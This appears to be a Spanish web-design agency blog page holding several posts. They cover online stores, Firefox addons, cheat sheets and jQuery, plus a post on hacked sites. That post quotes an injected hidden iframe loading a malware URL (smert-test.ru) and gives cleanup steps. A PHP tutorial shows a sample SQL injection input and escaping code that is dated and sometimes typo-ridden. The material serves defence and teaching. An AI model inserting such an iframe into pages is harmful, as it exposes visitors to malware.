Blog SolucionesUNO.com | Diseño Web, Gráfico, y Posicionamiento Web.

Hoy en día disponer de una tienda on-line para la venta de determinados productos por internet, es obligatorio para ciertos sectores. Crear una tienda online, puede ser un fracaso si se desconoce de que manera hacerlo, y donde gastarnos nuestro dinero.

Se puede crear una tienda online de dos maneras dierentes, o bien con un software base OpenSource como Oscommerce, Magento, PrestaShop, o bien con un software nativo y desarrollado a medida.

En este articulo vamos a comentar las diferencias entre un tipo de tienda online y el otro:
Leer nota completa

Podemos perder mucho tiempo instalado y probando addons para Firefox, entonces, ¿Qué mejor que encontrar alguien que ya se haya tomado ese trabajo?

A continuación, listaremos los addons que más utilizamos en Soluciones Uno, para llevar a cabo todos nuestros proyectos de diseño y programación web.

Firebug , infaltable para quien diga llamarse diseñador web. El Firebug nos dará importante información en tiempo real mientras testeamos los sitios.
Desde el tiempo de carga de la información, las respuesta del servidor, hasta un completo escaneo del código HTML, y una muy bienvenida información sobre los estilos CSS y su edición en tiempo real.

IE Tab, rústico pero efectivo. IE tab nos permite abrir otra pestaña, pero este se mostrará tal cual como se vería en Internet Explorer.
Lo bueno de este addon, es que no se trata de una  “emulación” del Firefox, sino que básicamente, ejecuta el componente de Internet Explorer instalado en el sistema operativo, y lo incrusta dentro de la pestaña.
Esto acelera los procesos de comparación al momento de la maquetación y la programación javascript.

Leer nota completa

Un problema con que nos encontramos a menudo los desarrolladores web, es olvidarnos una función, propiedad, clase, etc de un lenguaje o software. Una buena manera de ahorrar tiempo buscando en Google, es tener siempre a mano nuestros cheat sheets, hojas de trucos en inglés. Los cheat sheets son breves resúmenes de funciones, clases, atributos, propiedades, atajos de teclado, etc de un lenguaje de programación particular o de un programa.
Les dejamos a continuación algunos links donde pueden descargar estos ayuda memoria que les serán de gran utilidad!

jQuery: http://colorcharge.com/jquery/
jQuery (Otra versión): http://www.gscottolson.com/weblog/2008/01/11/jquery-cheat-sheet/
PHP: http://www.dreamincode.net/downloads/ref_sheets/php_reference_sheet.pdf
Photoshop CS4, shortcuts: http://morris-photographics.com/photoshop/shortcuts/#pscs4
CSS: http://www.addedbytes.com/cheat-sheets/css-cheat-sheet/
CSS Shorthand: http://www.addedbytes.com/cheat-sheets/css-cheat-sheet/
Colores RGB: http://designtopx.files.wordpress.com/2009/11/rgb-hex-cheat-sheet-v1.pdf
HTML: http://designtopx.files.wordpress.com/2009/11/html-cheat-sheet-v1.pdf
HTML, entidades y atributos: http://www.elizabethcastro.com/html/extras/xhtml_ref.html
HTML 5 y CSS3: http://www.webresourcesdepot.com/html-5-and-css3-cheat-sheets-collection/
Flash CS4 shortcuts: http://subdivision.co.uk/wp-content/uploads/2009/03/FlashCS4_PC_Shortcuts.pdf
Mod rewrite: http://www.addedbytes.com/apache/mod_rewrite-cheat-sheet/
HTACCESS: http://www.thejackol.com/htaccess-cheatsheet/
Caracteres ASCII y ANSI: http://www.cosassencillas.com/2009/05/03/hojas-de-ayuda-caracteres-ascii-ansi/
SEO: http://www.seomoz.org/blog/the-web-developers-seo-cheat-sheet
Mysql: http://www.tech-geeks.org/contrib/mdrone/mysql-stuff/mysql-cheatsheet.html
Javascript: http://www.addedbytes.com/cheat-sheets/javascript-cheat-sheet/

Como verán existe gran variedad de cheat sheets, hay para todos los gustos. A medida que vayamos encontrando más que nos sean de utilidad, los iremos compartiendo con ustedes!

Presentada en enero del 2006, Jquery es una libreria Javascript orientada a Ajax, manejo del DOM,
animaciones y eventos.
jQuery usa las licencias MIT y GPL permitiendo su uso en proyectos libres.

Es de facil implementacion ya que en un unico archivo JavaScript
contiene las funcionalidades comunes de DOM, eventos, efectos y AJAX.
incluyendo soporte para CSS 1-3 y un plugin básico de XPath.
Soporta extensiones. Leer nota completa

Nos hemos encontrado con un problema con algunos sitios webs, los cuales han sido atacados, y se ha modificado su codigo fuente, añadiendo lineas las cuales Google concidera como MalWare.

Los archivos que fueron infectados (modificados) en general del sitio web son todos los denominados:

Defaults.*
Index.*
Home.*

La linea de codigo que nos añade a nuestros archivos por lo general es:

iframe frameborder=”0″ onload=”if (!this.src){ this.src=’http://smert-test.ru:8080/index.php’; this.height=’0′; this.width=’0′;}” qgbugjfzjmsuhhvwoycloflqbtukhxq iframe

Indiferente de la extension del archivo el Malware ataca a los archivos con este nombre. Inclusive si el archivo se denomina index_old.php. La misma es añadida justo alado de la etiqueta Body, o al final del codigo fuente, un iframe con el codigo mencionado.

Este ataque es por que un sistema atacante se ha apropiado de nuestras contraseñas FTP, infectando alguno ordenador, y entonces genera un script que teniendo dicho acceso, modificara constantemente nuestros archivos. Por más que eliminemos esta linea, debemos cambiar con urgencia el acceso FTP al sitio web, si no siempre nos seguiran modificando el codigo.

¿Como solucionarlo?

1) Modifica todas tus contraseñas FTP´s de todos tus sitios webs.
2) Actualiza tu Cliente FTP a la ultima version.
3) Haz un escaneo completo de virus con tu antivirus actualizado.
4) Pasa alguna herramienta de eliminacion de SpyWares como Spyboot en tu ordenador.
5) Elimina todas las lineas de codigos de tus sitios webs “infectados”. La mejor forma es si el mismo lo tienes en local, utilizar Dreamweaver para buscar y remplazar. Otra opcion seria recuperar backups.
6) Desde Web Master tools, debes tener configurado el sitio web, para solicitar a Google que realize una revision de tu sitio web, con el problema solucionado.
Esto suele tardar aproximadamente unas 10 horas, con lo que deberas tener mucha paciencia.

A menudo en nuestro trabajo de diseño web tenemos la responsabilidad de asegurarnos que no ocurran fallos en nuestros sitios, principalmente en aquellos donde el pasaje de variables de una página hacia otra es habitual.

En la mayoría de los casos las variables pueden contener cadenas de caracteres que pueden romper otras cadenas donde son introducidas, como ser fragmentos de código SQL, maquetas HTML, campos input o textarea.

Algunos casos más severos que otros, siendo las inyecciones SQL un problema de seguridad en aquellos sitios que no han tomado los recaudos necesarios.

Nuestro lenguaje de programación web de preferencia es PHP, por lo tanto también tenemos preferencia por el motor MySql. Así que les mostraremos algunos consejos para utilizar en estas plataformas.

¿Qué es escapar?

Escapar un carácter es ante poner una contra barra detrás de él.

$variable = “Cadena de texto \”entre comillas\”.”;
echo $variable;

Como verán, las comillas que corresponden a la cadena se escapean con el carácter \, permitiendo esto que las comillas puedan ser guardadas dentro de la cadena, evitando que se confundan con el cierre. Esta salida se verá así:

Cadena de texto “entre comillas”.

Los caracteres reservados de un lenguaje deben ser escapados para que en su compilación no se abran las cadenas ni se mal interprete el código.

Función mysql_real_escape_string() -> http://ar2.php.net/mysql_real_escape_string

Es seguramente una de las funciones mejor concebidas para concatenar variables dentro de una consulta dirigida a MySql.

- Representaremos un error:
En la url tenemos: http://www.unsitio.es/producto.php?idprod=‘ AND idusuario = ‘34

En php tenemos:
$idprod = $_GET[‘idprod'];
$SQL = “SELECT * FROM productos WHERE idprod = ‘$idprod”

Si compilamos esto quedaría:
SELECT * FROM productos WHERE idprod = ‘‘ AND idusuario = ‘34′

$idprod puede ser una variable introducida por $_GET mediante la url, es un uso habitual para mostrar detalles de productos en una plantilla php, pero mal utilizada por un navegante puede fácilmente rompe una cadena y devolver errores en pantalla y meticulosamente ir descubriendo la estructura de la Base de Datos.

Si hiciéramos:

$ id_user = mysql_real_escape_string($_GET[‘id_user']);
$SQL = “SELECT * FROM productos WHERE idprod = ‘$id_user”

Esto quedaría:
SELECT * FROM productos WHERE idprod = ‘\‘ AND idusuario = \‘34′

De esta forma logramos que la cadena ingresada sea estrictamente registrada como una cadena de texto, y así la consulta no se romperá. En el peor de los casos, no devolverá resultados.

Ahora bien, esto no es todo. Existen otros errores posibles que puede ocurrir cuando vamos a comparar parámetro por $_GET, que ha sufrido alguna modificación accidental.
Por ejemplo:

$idprod = mysql_real_escape_string($_GET[‘idprod']);
SELECT * FROM productos WHERE idprod = ‘$idprod ‘;

Será: SELECT * FROM productos WHERE idprod= ‘54ç’

Esto no devolverá resultados, y veremos una planilla con la información sobre el producto, prácticamente vacía.
Lo correspondiente a realizar cuando necesitamos recibir un parámetro netamente entero, es parsear el valor, para ello utilizamos (int)

$idprod = (int)($_GET[‘idprod']);
SELECT * FROM productos WHERE idprod = ‘$idprod’;

Será: SELECT * FROM productos WHERE idproducto = ‘54′

En caso de que $_GET[‘idprod'] sea nulo o alfanumérico sin números en su cadena, el valor parseado será 0. Si tuviera algún número, lo tomará y lo utilizará.
Ejemplo:

$variable = (int)(“101dalmatas”);
echo $variable;

La salida será: 101

Otro aspecto muy importante es ocultar toda muestra de código que pueda salir por pantalla, o evitar mostrar una página que resulta incompleta.

Ejemplo:

En la url tenemos: http://www.unsitio.es/producto.php?idprod=unacadenadetexto

$idprod = (int)$_GET[‘idprod'];
$SQL = “SELECT * FROM productos WHERE idprod = $id_prod”;
(es decir: SELECT * FROM productos WHERE idprod = 0)

Normalmente no existen registros con índice 0, ya que para los lenguajes puede confundirse con un valor nulo. Entonces esta búsqueda no devolverá resultados.

Para lo cual lo correcto es verificar el resultado y evitar que se genere una página sin información:

$idprod = (int)$_GET[‘idprod'];
$SQL = “SELECT * FROM productos WHERE idprod = $id_prod”;
$rsd = mysql_query($SQL, $conexion);
$row = mysql_fetch_assoc($rsd);

if (!$row){
header(“location: error.php”);
die(“error al mostrar producto”);
}

La función header() nos permite redireccionar hacia otra página avisando al usuario sobre el error. Puede ocurrir que la devolución de resultados falle si se están realizando tareas de mantenimiento. O bien que el producto ya no exista.

La idea de re direccionar, es evitar caer en un link muerto. Esto beneficia el posicionamiento web del site, ya que los motores de búsqueda al no encontrar links muertos califican el site con un Rank más alto. Además de la posibilidad de crear una interface más amigable con el navegante.

La función header() debe ejecutarse previamente el encabezado HTML del site. Esto puede parecer engorroso, pero no da problemas en lo más mínimo cuando el código esta aplicado correctamente.

La función die() funciona para cortar el proceso, en caso de que por algún motivo no funcione header(). Es una buena costumbre su utilización.